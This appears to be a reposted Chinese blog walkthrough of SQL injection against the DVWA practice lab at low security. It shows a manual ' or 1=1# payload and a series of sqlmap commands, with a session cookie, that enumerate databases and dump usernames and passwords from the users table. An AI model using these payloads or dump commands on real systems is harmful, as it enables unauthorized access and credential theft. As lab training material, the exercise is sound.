DVWA靶機-sql自動注入


1.

使用dvwa靶機進行sql注入實戰(注:當前靶機安全級別為low)

打開sql漏洞,發現輸入不同的數字會返回不同的信息,

先嘗試手工判斷是否存在sql注入

一般sql注入語句像這樣,我們構造的是后面兩個單引號里面的內容

 

select * from users where userid='*'

 

 

 

輸入:

' or 1=1#

前面一個單引號閉合了查詢語句自帶的第一個單引號,

or 1=1 使得結果永遠為真,

#則是用來讓查詢忽略后面連接的內容,--和#的作用相同

看到它的確返回了全部內容

這次我們來試試它會不會報錯

 

提交以后沒有顯示任何東西,推測報錯了

 

綜上我們可以推測這里是存在注入點的

 

 

2.

這里我的sqlmap是已經裝好的

sqlmap需要python環境才能運行(kali自帶sqlmap,或者也可以windows環境下安裝)

windows下安裝教程:

https://blog.csdn.net/lijia111111/article/details/54755009

 

 

 

cmd里面打開sqlmap

 

這里先別急着粘貼url,因為登陸dvwa靶機需要用戶名和密碼,所以會有cookie的存在。

我們需要瀏覽器插件查看cookie(推薦使用火狐瀏覽器)

 

這些就是當前頁面的cookie,需要放到sqlmap注入語句后面

python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch --dbs

 

這里簡單解釋一下:--batch自動選擇yes or no;--dbs顯示全部數據庫

 

 

 

結果:

我們只用進dvwa數據庫查看

列出所有表名:

python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa --tables

這里只看users

列出所有字段名:

python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa -T users --columns

 

查看password和user:

python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa -T users -C password,user --dump

 

拿到用戶名和密碼了,回到dvwa登陸頁面試試看

 登陸成功

左下角也顯示當前用戶是pablo而不是admin


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM